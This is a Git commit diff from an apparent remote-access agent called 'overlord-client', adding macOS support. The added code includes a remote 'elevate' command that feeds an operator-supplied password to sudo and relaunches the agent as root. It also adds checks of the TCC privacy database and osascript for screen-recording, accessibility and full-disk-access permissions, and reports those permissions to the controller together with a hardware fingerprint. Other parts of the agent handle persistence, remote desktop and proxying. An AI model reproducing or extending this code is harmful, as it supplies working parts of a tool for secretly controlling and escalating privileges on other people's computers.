new mac update for permission issues.
This commit is contained in:
@@ -349,14 +349,21 @@ func firstNonEmpty(values ...string) string {
|
||||
}
|
||||
|
||||
func deriveHWID() string {
|
||||
machineID := platformMachineID()
|
||||
if machineID != "" {
|
||||
h := sha256.New()
|
||||
h.Write([]byte(machineID))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(runtime.GOOS))
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
// fallback
|
||||
h := sha256.New()
|
||||
h.Write([]byte(hostname()))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(os.Getenv("USERNAME")))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(runtime.GOOS))
|
||||
h.Write([]byte("|"))
|
||||
h.Write([]byte(runtime.GOARCH))
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/sysinfo"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
@@ -560,6 +561,26 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
||||
return nil
|
||||
case "desktop_start":
|
||||
if goruntime.GOOS == "darwin" {
|
||||
perms := sysinfo.DarwinPermissions()
|
||||
var missing []string
|
||||
if !perms["screenRecording"] {
|
||||
missing = append(missing, "screenRecording")
|
||||
}
|
||||
if !perms["accessibility"] {
|
||||
missing = append(missing, "accessibility")
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
log.Printf("desktop: macOS missing permissions: %v", missing)
|
||||
detail, _ := json.Marshal(map[string]interface{}{
|
||||
"reason": "permissions_denied",
|
||||
"missing": missing,
|
||||
"permissions": perms,
|
||||
})
|
||||
sendCommandResultSafe(env, cmdID, false, string(detail))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
env.DesktopMu.Lock()
|
||||
if env.DesktopCancel != nil {
|
||||
env.DesktopCancel()
|
||||
@@ -1922,6 +1943,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||
return ErrReconnect
|
||||
case "elevate":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
password, _ := payload["password"].(string)
|
||||
return HandleElevate(ctx, env, cmdID, password)
|
||||
case "proxy_connect":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
return HandleProxyConnect(ctx, env, cmdID, payload)
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
//go:build darwin
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||
if os.Getuid() == 0 {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "already running as root",
|
||||
})
|
||||
}
|
||||
|
||||
if password == "" {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "password required for elevation",
|
||||
})
|
||||
}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
validateCmd := exec.Command("sudo", "-S", "-k", "true")
|
||||
validateCmd.Stdin = strings.NewReader(password + "\n")
|
||||
if err := validateCmd.Run(); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "incorrect password",
|
||||
})
|
||||
}
|
||||
|
||||
args := os.Args[1:]
|
||||
sudoArgs := append([]string{"-S", "-k", exePath}, args...)
|
||||
cmd := exec.Command("sudo", sudoArgs...)
|
||||
cmd.Stdin = strings.NewReader(password + "\n")
|
||||
cmd.Env = os.Environ()
|
||||
|
||||
nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0)
|
||||
if nullFile != nil {
|
||||
cmd.Stdout = nullFile
|
||||
cmd.Stderr = nullFile
|
||||
}
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("failed to start elevated process: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
|
||||
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "elevating — new process started as root",
|
||||
})
|
||||
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
//go:build !darwin
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: "elevation via password is only supported on macOS",
|
||||
})
|
||||
}
|
||||
@@ -614,6 +614,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
||||
hello.RAM = hw.RAM
|
||||
hello.IsAdmin = sysinfo.IsAdmin()
|
||||
hello.Elevation = sysinfo.Elevation()
|
||||
hello.Permissions = sysinfo.DarwinPermissions()
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||
return fmt.Errorf("send hello: %w", err)
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
//go:build darwin
|
||||
|
||||
package sysinfo
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func IsAdmin() bool {
|
||||
return os.Getuid() == 0
|
||||
}
|
||||
|
||||
func Elevation() string {
|
||||
if os.Getuid() == 0 {
|
||||
return "admin"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return map[string]bool{
|
||||
"screenRecording": checkScreenRecording(),
|
||||
"accessibility": checkAccessibility(),
|
||||
"fullDiskAccess": checkFullDiskAccess(),
|
||||
"root": os.Getuid() == 0,
|
||||
}
|
||||
}
|
||||
|
||||
func checkScreenRecording() bool {
|
||||
if os.Getuid() == 0 {
|
||||
return true
|
||||
}
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if real, err := filepath.EvalSymlinks(exe); err == nil {
|
||||
exe = real
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil || home == "" {
|
||||
return false
|
||||
}
|
||||
db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db")
|
||||
safeExe := strings.ReplaceAll(exe, "'", "''")
|
||||
out, _ := exec.Command("sqlite3", db,
|
||||
"SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1",
|
||||
).CombinedOutput()
|
||||
return strings.TrimSpace(string(out)) == "2"
|
||||
}
|
||||
|
||||
func checkAccessibility() bool {
|
||||
err := exec.Command("osascript", "-e",
|
||||
`tell application "System Events" to get name of first process`).Run()
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func checkFullDiskAccess() bool {
|
||||
_, err := os.ReadDir("/Library/Application Support/com.apple.TCC")
|
||||
return err == nil
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows
|
||||
//go:build !windows && !darwin
|
||||
|
||||
package sysinfo
|
||||
|
||||
@@ -15,3 +15,7 @@ func Elevation() string {
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -61,3 +61,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -1,26 +1,27 @@
|
||||
package wire
|
||||
|
||||
type Hello struct {
|
||||
Type string `msgpack:"type"`
|
||||
ID string `msgpack:"id"`
|
||||
HWID string `msgpack:"hwid"`
|
||||
Host string `msgpack:"host"`
|
||||
OS string `msgpack:"os"`
|
||||
Arch string `msgpack:"arch"`
|
||||
Version string `msgpack:"version"`
|
||||
User string `msgpack:"user"`
|
||||
Monitors int `msgpack:"monitors"`
|
||||
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
|
||||
Country string `msgpack:"country,omitempty"`
|
||||
BuildTag string `msgpack:"buildTag,omitempty"`
|
||||
PublicKey string `msgpack:"publicKey,omitempty"`
|
||||
Signature string `msgpack:"signature,omitempty"`
|
||||
InMemory bool `msgpack:"inMemory,omitempty"`
|
||||
CPU string `msgpack:"cpu,omitempty"`
|
||||
GPU string `msgpack:"gpu,omitempty"`
|
||||
RAM string `msgpack:"ram,omitempty"`
|
||||
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
||||
Elevation string `msgpack:"elevation,omitempty"`
|
||||
Type string `msgpack:"type"`
|
||||
ID string `msgpack:"id"`
|
||||
HWID string `msgpack:"hwid"`
|
||||
Host string `msgpack:"host"`
|
||||
OS string `msgpack:"os"`
|
||||
Arch string `msgpack:"arch"`
|
||||
Version string `msgpack:"version"`
|
||||
User string `msgpack:"user"`
|
||||
Monitors int `msgpack:"monitors"`
|
||||
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
|
||||
Country string `msgpack:"country,omitempty"`
|
||||
BuildTag string `msgpack:"buildTag,omitempty"`
|
||||
PublicKey string `msgpack:"publicKey,omitempty"`
|
||||
Signature string `msgpack:"signature,omitempty"`
|
||||
InMemory bool `msgpack:"inMemory,omitempty"`
|
||||
CPU string `msgpack:"cpu,omitempty"`
|
||||
GPU string `msgpack:"gpu,omitempty"`
|
||||
RAM string `msgpack:"ram,omitempty"`
|
||||
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
||||
Elevation string `msgpack:"elevation,omitempty"`
|
||||
Permissions map[string]bool `msgpack:"permissions,omitempty"`
|
||||
}
|
||||
|
||||
type EnrollmentChallenge struct {
|
||||
|
||||
Reference in New Issue
Block a user